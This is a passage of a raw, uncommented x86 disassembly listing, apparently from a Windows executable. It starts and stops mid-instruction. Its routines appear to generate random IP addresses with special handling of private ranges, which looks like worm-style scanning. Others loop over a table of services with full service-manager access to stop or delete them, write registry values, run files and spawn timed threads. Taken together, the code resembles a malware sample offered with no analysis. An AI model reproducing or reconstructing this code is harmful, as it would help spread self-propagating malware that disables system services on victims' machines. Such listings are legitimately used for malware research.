edi mov [ebp-131h], dl call sub_43F909 mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-132h], dl call sub_43F909 mov ecx, 0Ah cdq idiv ecx mov [ebp-133h], dl mov al, [ebp-133h] cmp al, 5 jnb short loc_43EF09 mov al, [ebp-112h] mov [ebp-134h], al mov al, [ebp-133h] cmp al, 3 jnb short loc_43EF09 mov al, [ebp-135h] mov [ebp-131h], al loc_43EF09: ; CODE XREF: .data:0043EEE5j ; .data:0043EEFBj cmp byte ptr [ebp-111h], 0Ah jnz short loc_43EF3E movzx eax, byte ptr [ebp-132h] push eax movzx eax, byte ptr [ebp-131h] push eax movzx eax, byte ptr [ebp-134h] push eax push offset sub_404D49 lea eax, [ebp-130h] push eax call sub_43F921 add esp, 14h loc_43EF3E: ; CODE XREF: .data:0043EF10j movzx eax, byte ptr [ebp-111h] cmp eax, 0ACh jnz short loc_43EF98 mov al, [ebp-112h] cmp al, 0Fh jbe short loc_43EF98 cmp al, 21h jnb short loc_43EF98 call sub_43F909 movzx edi, byte ptr [ebp-132h] push edi movzx edi, byte ptr [ebp-131h] push edi mov edx, eax and edx, 8000000Fh jge short loc_43EF7E dec edx or edx, 0FFFFFFF0h inc edx loc_43EF7E: ; CODE XREF: .data:0043EF77j mov edi, edx add edi, 10h push edi push offset sub_404D3C lea edi, [ebp-130h] push edi call sub_43F921 add esp, 14h loc_43EF98: ; CODE XREF: .data:0043EF4Aj ; .data:0043EF54j ... movzx eax, byte ptr [ebp-111h] cmp eax, 0C0h jnz short loc_43EFD8 movzx eax, byte ptr [ebp-112h] cmp eax, 0A8h jnz short loc_43EFD8 movzx eax, byte ptr [ebp-132h] push eax movzx eax, byte ptr [ebp-131h] push eax push 404D2Eh lea eax, [ebp-130h] push eax call sub_43F921 add esp, 10h loc_43EFD8: ; CODE XREF: .data:0043EFA4j ; .data:0043EFB2j lea eax, [ebp-130h] push eax call sub_43F5AD cmp [ebp-10Ch], eax jz loc_43EE16 push dword ptr [ebp-10Ch] call sub_43F5B9 movzx edi, word ptr ds:loc_404094 push edi push eax push 404D27h lea edi, [ebp-0FFh] push edi call sub_43F921 add esp, 10h loc_43F018: ; CODE XREF: .data:0043F041j lea ecx, [ebp-0FFh] or eax, 0FFFFFFFFh loc_43F021: ; CODE XREF: .data:0043F026j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F021 cmp eax, 19h jz short loc_43F043 push 404D25h lea eax, [ebp-0FFh] push eax call sub_43F939 add esp, 8 jmp short loc_43F018 ; --------------------------------------------------------------------------- loc_43F043: ; CODE XREF: .data:0043F02Bj lea ecx, [ebp-0FFh] or eax, 0FFFFFFFFh loc_43F04C: ; CODE XREF: .data:0043F051j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F04C push eax lea edi, [ebp-0FFh] push edi mov edi, ebx add edi, 9 push edi call sub_43F8E5 add esp, 0Ch lea eax, [ebp-130h] push eax call sub_43F5AD push esi push ebx push eax call sub_43E741 add esp, 0Ch mov [ebp-13Ch], eax push 0 call sub_43F8CD add esp, 4 jmp loc_43EE16 ; --------------------------------------------------------------------------- db 5Fh, 5Eh, 5Bh dd 4C2C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F09C proc near ; CODE XREF: .data:0043F0DEp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_43F71D cmp eax, 80000000h jb short loc_43F0B3 mov eax, 3Ch jmp short locret_43F0D4 ; --------------------------------------------------------------------------- loc_43F0B3: ; CODE XREF: sub_43F09C+Ej push 0 lea eax, [ebp+var_4] push eax call sub_43F601 and [ebp+var_4], 2 cmp [ebp+var_4], 2 jnz short loc_43F0CF mov eax, 12Ch jmp short locret_43F0D4 ; --------------------------------------------------------------------------- loc_43F0CF: ; CODE XREF: sub_43F09C+2Aj mov eax, 64h locret_43F0D4: ; CODE XREF: sub_43F09C+15j ; sub_43F09C+31j leave retn sub_43F09C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push ebx push esi push edi call sub_43F09C mov ebx, eax lea eax, [ebp-4] push eax push 0 push 0 push offset sub_401565 push 0 push 0 call sub_43F7AD push eax call sub_43F705 xor esi, esi jmp short loc_43F137 ; --------------------------------------------------------------------------- loc_43F105: ; CODE XREF: .data:0043F139j lea eax, [ebp-4] push eax push 0 push 0 push 401E23h push 0 push 0 call sub_43F7AD push eax call sub_43F705 mov eax, 0EA60h xor edx, edx div ebx mov [ebp-8], eax mov edi, eax push eax call sub_43F8CD pop ecx inc esi loc_43F137: ; CODE XREF: .data:0043F103j cmp esi, ebx jb short loc_43F105 pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F142 proc near ; CODE XREF: sub_43F411+ACp var_388 = dword ptr -388h var_384 = dword ptr -384h var_380 = dword ptr -380h var_37C = dword ptr -37Ch var_378 = dword ptr -378h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 388h push ebx push esi push edi lea edi, [ebp+var_16C] lea esi, loc_404A36+2 mov ecx, 51h rep movsd and [ebp+var_24], 0 loc_43F165: ; CODE XREF: sub_43F142+211j push 0F003Fh push 0 push 0 call sub_43F855 mov [ebp+var_28], eax or eax, eax jz loc_43F34C push 0F003Fh mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_370], eax push [ebp+eax+var_16C] push [ebp+var_28] call sub_43F861 mov ebx, eax or eax, eax jz loc_43F344 lea eax, [ebp+var_20] push eax push 1 push ebx call sub_43F83D mov [ebp+var_4], eax and [ebp+var_4], 0 loc_43F1BD: ; CODE XREF: sub_43F142+A4j lea eax, [ebp+var_20] push eax push 4 push ebx call sub_43F83D or eax, eax jz short loc_43F1D3 cmp [ebp+var_1C], 1 jnz short loc_43F1D5 loc_43F1D3: ; CODE XREF: sub_43F142+89j jmp short loc_43F1E8 ; --------------------------------------------------------------------------- loc_43F1D5: ; CODE XREF: sub_43F142+8Fj push 3E8h call sub_43F789 inc [ebp+var_4] cmp [ebp+var_4], 0Ah jb short loc_43F1BD loc_43F1E8: ; CODE XREF: sub_43F142:loc_43F1D3j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_374], eax cmp [ebp+eax+var_168], 0 jz short loc_43F206 push ebx call sub_43F849 loc_43F206: ; CODE XREF: sub_43F142+BCj push ebx call sub_43F831 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_378], eax cmp [ebp+eax+var_164], 0 jz loc_43F344 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_37C], eax mov eax, [ebp+eax+var_164] cmp byte ptr [eax], 0 jnz loc_43F2CC push 0 push 18h lea eax, [ebp+var_36C] push eax push 0 call sub_43F60D or eax, eax jz short loc_43F2CC lea ecx, [ebp+var_36C] or eax, 0FFFFFFFFh loc_43F265: ; CODE XREF: sub_43F142+128j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F265 mov [ebp+var_4], eax cmp [ebp+var_4], 1 jbe short loc_43F299 mov eax, [ebp+var_4] sub eax, 1 cmp [ebp+eax+var_36C], 5Ch jz short loc_43F299 push offset sub_404BA0 lea eax, [ebp+var_36C] push eax call sub_43F939 add esp, 8 loc_43F299: ; CODE XREF: sub_43F142+131j ; sub_43F142+141j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_380], eax mov eax, [ebp+eax+var_164] push dword ptr [eax+8] lea eax, [ebp+var_36C] push eax call sub_43F939 add esp, 8 lea eax, [ebp+var_36C] push eax call sub_43F7B9 loc_43F2CC: ; CODE XREF: sub_43F142+FEj ; sub_43F142+118j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_380], eax mov eax, [ebp+eax+var_164] cmp byte ptr [eax], 1 jnz short loc_43F344 lea eax, [ebp+var_4] push eax push 20006h push 0 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_384], eax mov edx, [ebp+eax+var_164] push dword ptr [edx+4] mov eax, [ebp+eax+var_164] push dword ptr [eax+0Ch] call sub_43F891 or eax, eax jnz short loc_43F344 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_388], eax mov eax, [ebp+eax+var_164] push dword ptr [eax+8] push [ebp+var_4] call sub_43F86D push [ebp+var_4] call sub_43F885 loc_43F344: ; CODE XREF: sub_43F142+62j ; sub_43F142+E0j ... push [ebp+var_28] call sub_43F831 loc_43F34C: ; CODE XREF: sub_43F142+36j inc [ebp+var_24] cmp [ebp+var_24], 1Bh jb loc_43F165 pop edi pop esi pop ebx leave retn 4 sub_43F142 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push edi mov eax, [ebp+0Ch] cmp eax, 10h jz short loc_43F3EE jg short loc_43F37B cmp eax, 2 jz short loc_43F3E5 jmp loc_43F3FB ; --------------------------------------------------------------------------- loc_43F37B: ; CODE XREF: .data:0043F36Fj cmp eax, 113h jnz short loc_43F3FB and dword ptr [ebp-4], 0 mov dword ptr [ebp-8], 4 lea eax, [ebp-10h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push 404B81h push offset sub_404B85 push 80000001h call sub_43E380 mov eax, dword ptr ds:loc_404096+2 mov [ebp-0Ch], eax add [ebp-4], eax push 4 push 4 lea eax, [ebp-4] push eax push 404B81h push offset sub_404B85 push 80000001h call sub_43E315 add esp, 30h push 0 push 404098h call sub_43F735 jmp short loc_43F40C ; --------------------------------------------------------------------------- loc_43F3E5: ; CODE XREF: .data:0043F374j push 0 call sub_43F801 jmp short loc_43F40C ; --------------------------------------------------------------------------- loc_43F3EE: ; CODE XREF: .data:0043F36Dj push dword ptr ds:loc_403000 call sub_43F819 jmp short loc_43F40C ; --------------------------------------------------------------------------- loc_43F3FB: ; CODE XREF: .data:0043F376j ; .data:0043F380j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_43F825 loc_43F40C: ; CODE XREF: .data:0043F3E3j ; .data:0043F3ECj ... pop edi leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F411 proc near ; CODE XREF: sub_43F619+5Cp var_2DC = byte ptr -2DCh var_2D8 = byte ptr -2D8h var_148 = dword ptr -148h var_143 = byte ptr -143h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2DCh push edi mov edi, [ebp+arg_0] push [ebp+arg_8] push offset sub_403010 call sub_43F69D push 404B7Ch lea eax, [ebp+var_143] push eax call sub_43F921 and [ebp+var_44], 0 lea eax, loc_4023A3+4 mov [ebp+var_40], eax and [ebp+var_3C], 0 and [ebp+var_38], 0 mov [ebp+var_34], edi and [ebp+var_30], 0 and [ebp+var_2C], 0 and [ebp+var_28], 0 and [ebp+var_24], 0 lea eax, [ebp+var_143] mov [ebp+var_20], eax lea eax, [ebp+var_44] push eax call sub_43F7D1 push 0 push edi push 0 push 0 push 0 push 0 push 0 push 0 push 0CF0000h push 404D25h lea eax, [ebp+var_143] push eax push 0 call sub_43F80D mov dword ptr ds:loc_403000, eax call sub_43F6E1 push eax call sub_43E2F0 lea eax, [ebp+var_2D8] push eax push 2 call sub_43F54D push 0 call sub_43F142 lea eax, [ebp+var_2DC] push eax push 0 push 0 push 40211Dh push 0 push 0 call sub_43F7AD push eax call sub_43F705 and [ebp+var_148], 0 push 4 push 4 lea eax, [ebp+var_148] push eax push 404B81h push offset sub_404B85 push 80000001h call sub_43E315 add esp, 24h push 0 push 2710h push 1 push dword ptr ds:loc_403000 call sub_43F7C5 jmp short loc_43F532 ; --------------------------------------------------------------------------- loc_43F520: ; CODE XREF: sub_43F411+132j lea eax, [ebp+var_1C] push eax call sub_43F7E9 lea eax, [ebp+var_1C] push eax call sub_43F7F5 loc_43F532: ; CODE XREF: sub_43F411+10Dj push 0 push 0 push 0 lea eax, [ebp+var_1C] push eax call sub_43F7DD or eax, eax jnz short loc_43F520 pop edi leave retn 10h sub_43F411 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F54D proc near ; CODE XREF: sub_43F411+A5p jmp dword ptr ds:loc_40524A+2 sub_43F54D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F559 proc near ; CODE XREF: .data:0043E617p jmp dword ptr ds:loc_40524E+2 sub_43F559 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F565 proc near ; CODE XREF: .data:0043E5E4p jmp dword ptr ds:loc_405254 sub_43F565 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F571 proc near ; CODE XREF: .data:0043E512p ; sub_43E741+651p jmp dword ptr ds:loc_405254+4 sub_43F571 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F57D proc near ; CODE XREF: sub_43E741+1BAp jmp dword ptr ds:loc_40525A+2 sub_43F57D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F589 proc near ; CODE XREF: sub_43EDA2+20p jmp dword ptr ds:loc_40525F+1 sub_43F589 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F595 proc near ; CODE XREF: sub_43EDA2+Ep jmp dword ptr ds:loc_405264 sub_43F595 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F5A1 proc near ; CODE XREF: .data:0043E5D2p ; sub_43E741+197p jmp dword ptr ds:loc_405264+4 sub_43F5A1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F5AD proc near ; CODE XREF: .data:0043EFDFp ; .data:0043F070p jmp dword ptr ds:loc_405269+3 sub_43F5AD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F5B9 proc near ; CODE XREF: sub_43E741+63p ; .data:0043EFF6p jmp dword ptr ds:loc_40526F+1 sub_43F5B9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F5C5 proc near ; CODE XREF: .data:0043E602p jmp dword ptr ds:loc_405271+3 sub_43F5C5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F5D1 proc near ; CODE XREF: .data:0043E3F2p ; sub_43E741+20Bp ... jmp dword ptr ds:loc_405278 sub_43F5D1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F5DD proc near ; CODE XREF: .data:0043E444p ; .data:0043E480p ... jmp dword ptr ds:loc_40527C sub_43F5DD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F5E9 proc near ; CODE XREF: .data:0043E50Ap ; sub_43E741+649p jmp dword ptr ds:loc_40527C+4 sub_43F5E9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F5F5 proc near ; CODE XREF: .data:0043E59Bp ; sub_43E741+48p jmp dword ptr ds:loc_405281+3 sub_43F5F5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F601 proc near ; CODE XREF: sub_43F09C+1Dp jmp dword ptr ds:loc_40528D+3 sub_43F601 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F60D proc near ; CODE XREF: sub_43F142+111p jmp dword ptr ds:loc_40529C sub_43F60D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F619 proc near ; CODE XREF: .data:0043E238p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push edi call sub_43F6D5 mov edi, eax cmp byte ptr [edi], 22h jnz short loc_43F64D push 22h mov eax, edi inc eax push eax call sub_43F945 add esp, 8 mov [ebp+var_4], eax or eax, eax jz short loc_43F668 mov edi, eax inc edi jmp short loc_43F645 ; --------------------------------------------------------------------------- loc_43F644: ; CODE XREF: sub_43F619+2Fj inc edi loc_43F645: ; CODE XREF: sub_43F619+29j cmp byte ptr [edi], 20h jz short loc_43F644 jmp short loc_43F668 ; --------------------------------------------------------------------------- loc_43F64C: ; CODE XREF: sub_43F619+3Ej inc edi loc_43F64D: ; CODE XREF: sub_43F619+Fj movsx eax, byte ptr [edi] or eax, eax jz short loc_43F659 cmp eax, 20h jnz short loc_43F64C loc_43F659: ; CODE XREF: sub_43F619+39j jmp short loc_43F65C ; --------------------------------------------------------------------------- loc_43F65B: ; CODE XREF: sub_43F619+4Dj inc edi loc_43F65C: ; CODE XREF: sub_43F619:loc_43F659j movsx eax, byte ptr [edi] or eax, eax jz short loc_43F668 cmp eax, 20h jz short loc_43F65B loc_43F668: ; CODE XREF: sub_43F619+24j ; sub_43F619+31j ... push 0 call sub_43F6F9 push 1 push edi push 0 push eax call sub_43F411 pop edi leave retn sub_43F619 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43F67D proc near ; CODE XREF: sub_43E741+8p var_FFC = dword ptr -0FFCh pop ecx loc_43F67E: ; CODE XREF: sub_43F67D+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_43F67E sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_43F67D endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_43F69D proc near ; CODE XREF: sub_43F411+15p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_43F69D endp ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F6C9 proc near ; CODE XREF: .data:0043E558p jmp dword ptr ds:loc_4052A5+3 sub_43F6C9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F6D5 proc near ; CODE XREF: sub_43F619+5p jmp dword ptr ds:loc_4052A9+3 sub_43F6D5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F6E1 proc near ; CODE XREF: sub_43F411+91p jmp dword ptr ds:loc_4052AF+1 sub_43F6E1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F6ED proc near ; CODE XREF: .data:0043E560p jmp dword ptr ds:loc_4052B4 sub_43F6ED endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F6F9 proc near ; CODE XREF: sub_43F619+51p jmp dword ptr ds:loc_4052B4+4 sub_43F6F9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F705 proc near ; CODE XREF: .data:0043E590p ; .data:0043E634p ... jmp dword ptr ds:loc_4052B9+3 sub_43F705 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F711 proc near ; CODE XREF: .data:0043EDE8p jmp dword ptr ds:loc_4052BE+2 sub_43F711 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F71D proc near ; CODE XREF: sub_43F09C+4p jmp dword ptr ds:loc_4052C1+3 sub_43F71D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F729 proc near ; CODE XREF: sub_43E2F0+1Ep jmp dword ptr ds:loc_4052C6+2 sub_43F729 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F735 proc near ; CODE XREF: .data:0043E52Ep ; .data:0043F3DEp jmp dword ptr ds:locret_4052CC sub_43F735 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F741 proc near ; CODE XREF: .data:0043E4D2p jmp dword ptr ds:loc_4052CF+1 sub_43F741 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F74D proc near ; CODE XREF: .data:0043E56Dp ; .data:0043EE00p jmp dword ptr ds:loc_4052D4 sub_43F74D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F759 proc near ; CODE XREF: .data:0043E54Ap jmp dword ptr ds:loc_4052D8 sub_43F759 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F765 proc near ; CODE XREF: .data:0043E58Ap jmp dword ptr ds:loc_4052DB+1 sub_43F765 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F771 proc near ; CODE XREF: sub_43E033+13p jmp dword ptr ds:loc_4052E0 sub_43F771 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F77D proc near ; CODE XREF: .data:0043E5A8p ; sub_43E741+17Ep jmp dword ptr ds:loc_4052E0+4 sub_43F77D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F789 proc near ; CODE XREF: .data:0043E4C6p ; .data:0043E500p ... jmp dword ptr ds:loc_4052E8 sub_43F789 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F795 proc near ; CODE XREF: sub_43E741+72p jmp dword ptr ds:loc_4052E8+4 sub_43F795 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F7A1 proc near ; CODE XREF: sub_43E741+BBp ; sub_43E741+D9p ... jmp dword ptr ds:loc_4052F0 sub_43F7A1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F7AD proc near ; CODE XREF: .data:0043E62Ep ; .data:0043F0F6p ... jmp dword ptr ds:loc_4052F0+4 sub_43F7AD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F7B9 proc near ; CODE XREF: sub_43F142+185p jmp dword ptr ds:loc_4052F7+1 sub_43F7B9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F7C5 proc near ; CODE XREF: sub_43F411+108p jmp dword ptr ds:loc_405302+2 sub_43F7C5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F7D1 proc near ; CODE XREF: sub_43F411+60p jmp dword ptr ds:loc_405302+6 sub_43F7D1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F7DD proc near ; CODE XREF: sub_43F411+12Bp jmp dword ptr ds:loc_40530C sub_43F7DD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F7E9 proc near ; CODE XREF: sub_43F411+113p jmp dword ptr ds:loc_40530C+4 sub_43F7E9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F7F5 proc near ; CODE XREF: sub_43F411+11Cp jmp dword ptr ds:loc_405314 sub_43F7F5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F801 proc near ; CODE XREF: .data:0043F3E7p jmp dword ptr ds:loc_405317+1 sub_43F801 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F80D proc near ; CODE XREF: sub_43F411+87p jmp dword ptr ds:loc_405319+3 sub_43F80D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F819 proc near ; CODE XREF: .data:0043F3F4p jmp dword ptr ds:loc_405320 sub_43F819 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F825 proc near ; CODE XREF: .data:0043F407p jmp dword ptr ds:loc_405320+4 sub_43F825 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F831 proc near ; CODE XREF: sub_43F142+C5p ; sub_43F142+205p jmp dword ptr ds:loc_405330 sub_43F831 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F83D proc near ; CODE XREF: sub_43F142+6Fp ; sub_43F142+82p jmp dword ptr ds:loc_405330+4 sub_43F83D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F849 proc near ; CODE XREF: sub_43F142+BFp jmp dword ptr ds:loc_405337+1 sub_43F849 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F855 proc near ; CODE XREF: sub_43F142+2Cp jmp dword ptr ds:loc_40533C sub_43F855 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F861 proc near ; CODE XREF: sub_43F142+59p jmp dword ptr ds:loc_405340 sub_43F861 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F86D proc near ; CODE XREF: sub_43F142+1F5p jmp dword ptr ds:loc_405340+4 sub_43F86D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F879 proc near ; CODE XREF: sub_43E315+21p jmp dword ptr ds:loc_405345+3 sub_43F879 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F885 proc near ; CODE XREF: sub_43E315+4Bp ; sub_43E380+40p ... jmp dword ptr ds:loc_40534B+1 sub_43F885 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F891 proc near ; CODE XREF: sub_43E380+16p ; sub_43F142+1D1p jmp dword ptr ds:loc_40534B+5 sub_43F891 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F89D proc near ; CODE XREF: sub_43E380+36p jmp dword ptr ds:loc_40534B+9 sub_43F89D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F8A9 proc near ; CODE XREF: sub_43E315+41p jmp dword ptr ds:loc_405357+1 sub_43F8A9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F8B5 proc near ; CODE XREF: sub_43E255+15p jmp dword ptr ds:loc_405364 sub_43F8B5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F8C1 proc near ; CODE XREF: .data:0043E21Bp jmp dword ptr ds:sub_405368 sub_43F8C1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F8CD proc near ; CODE XREF: .data:0043EE2Ap ; .data:0043EE64p ... jmp dword ptr ds:loc_40536B+1 sub_43F8CD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43F8D9 proc 